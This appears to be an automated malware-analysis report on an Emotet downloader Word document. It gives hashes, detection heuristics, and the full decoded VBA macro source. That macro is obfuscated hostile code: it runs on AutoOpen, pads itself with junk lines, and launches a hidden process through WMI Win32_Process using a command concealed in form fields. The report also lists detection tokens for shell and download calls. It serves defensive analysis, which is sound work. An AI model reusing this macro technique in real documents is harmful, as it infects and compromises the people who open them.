Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d7216e10ecf444f0…

MALICIOUS

Office (OLE)

136.8 KB Created: 2019-05-24 06:19:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 8b7aef4c7667f1ff0478508cac20c794 SHA-1: 97df96164920057e8d3f05313e7977b754b3142f SHA-256: d7216e10ecf444f0143816841eacab6f1f383672fa62a229a07a1a8c653f9111
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set YsPi3FEZ = CVar(CreateObject(CCO3X57T))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    autoopen( _
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4461 bytes
SHA-256: a0c51951d6e8303c2044ae1a24057f26d41125483dffd0c5fdd2f6f97828897e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "ZZmj98o6, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "qRRYoW, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "zvZSd55, 2, 2, MSForms, ComboBox"
Sub _
autoopen( _
)
   Debug.Print "uS8d5N" + "jSCjCmBi" + "HPjPn0Pi"
Debug.Print ("YSP1V1" + "iN_MCB")
Debug.Print "pN7m1B1u" + ("lop0NaCZ" + "CMLNjz9")
Debug.Print "zNitoLBi"
DzYp8dwE
   Debug.Print "Fsjs3ih" + "jrmlKZFQ" + "mt1aZH"
Debug.Print ("QLMD_p" + "r0DOfujs")
Debug.Print "wSbSju" + ("fpRRHlj" + "hmns90")
Debug.Print "FMZhANH"
End Sub


Attribute VB_Name = "r8dUBdO"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YLrVYu"

Attribute VB_Name = "kHiZLJh"

Attribute VB_Name = "wBOAI96"

Attribute VB_Name = "AWcpXpK"

Attribute VB_Name = "i4fm8vmC"

Attribute VB_Name = "IjSHr2"

Attribute VB_Name = "kv808KkV"

Attribute VB_Name = "bczrALbR"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "PE8TnI"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "TPcQrA"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "VGpilSBK"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hFG0ATZ"
Function DzYp8dwE()
nJ5BwC = ThisDocument.qRRYoW + ThisDocument.zvZSd55 + ThisDocument.ZZmj98o6
   Debug.Print "ufQCUli" + "ao4p8J" + "Ybm2U4"
Debug.Print ("IjIVs4X1" + "XrIPn3")
Debug.Print "sDlWJ2rv" + ("hqjnsT" + "VkjoRC")
Debug.Print "k05OwvEn"
FH56Rt = "mts:Win32_Proces"
   Debug.Print "zK8FjkSJ" + "qpuzWQ" + "dspLPuw"
Debug.Print ("fuizcl" + "w_iCnjUj")
Debug.Print "Vab7m2" + ("tBz6NR" + "jZLZWD")
Debug.Print "VQHm8J"
YsPi3FEZ("winmg" + FH56Rt + "s") _
.Create# nJ5BwC, dY0zqHo, Bqc3iD9j, ln6BzM
   Debug.Print "mA5JH3z" + "XSzD52f" + "anlAWfbt"
Debug.Print ("u3ZziuA" + "RC6GSfho")
Debug.Print "McSuCHK" + ("hYtZfN8r" + "NT4zvtz")
Debug.Print "Pf13iGH"
End Function


Attribute VB_Name = "TqYzRX"
Function Bqc3iD9j()
FH56Rt = "mts:Win32_Proces"
   Debug.Print "rBPzSz" + "KH6FUBuh" + "VjmjQbhq"
Debug.Print ("c4mtzKz" + "bb_BCT9")
Debug.Print "ruXjEA" + ("VQwzRnsV" + "ZMRKO1")
Debug.Print "TafkQSOf"
Set Bqc3iD9j = YsPi3FEZ("winmg" + FH56Rt + "sStartup")
   Debug.Print "wNr6iqCd" + "VsikjjPz" + "XEZfHtoX"
Debug.Print ("Wvi17Pj" + "zbNhJZ")
Debug.Print "NpN7EpoO" + ("KwzCqZah" + "hoU8vp")
Debug.Print "MiQFG6X"
With Bqc3iD9j
   Debug.Print "wSwnr6P" + "PzQWdMk" + "YqHF5U"
Debug.Print ("uwbI5l9O" + "XZ69VD")
Debug.Print "zKEKHqo" + ("vZ4ZiDwA" + "PZMSIR8")
Debug.Print "FfVELSVZ"
. _
ShowWindow = miIrC1T3 + F95dmMz + uKj8pZkV + Hp9Rw1 + ZPS0FJ
   Debug.Print "r2U8vKP" + "vZz0wa" + "XuOjDP2A"
Debug.Print ("E13iwF" + "BwzY1WP3")
Debug.Print "sR_zdB7k" + ("oli8MC" + "SWorC0")
Debug.Print "wE64UMt"
End With
   Debug.Print "BH7bwzjz" + "dzDP5Wf" + "odCGbu8"
Debug.Print ("co4Uuw5" + "Mv766JbY")
Debug.Print "hNTntE" + ("zAfs119" + "iPEQWFc")
Debug.Print "b3i4qD"
End Function


Attribute VB_Name = "SOBKQw"
Function YsPi3FEZ(CCO3X57T)
Set YsPi3FEZ = CVar(CreateObject(CCO3X57T))
End Function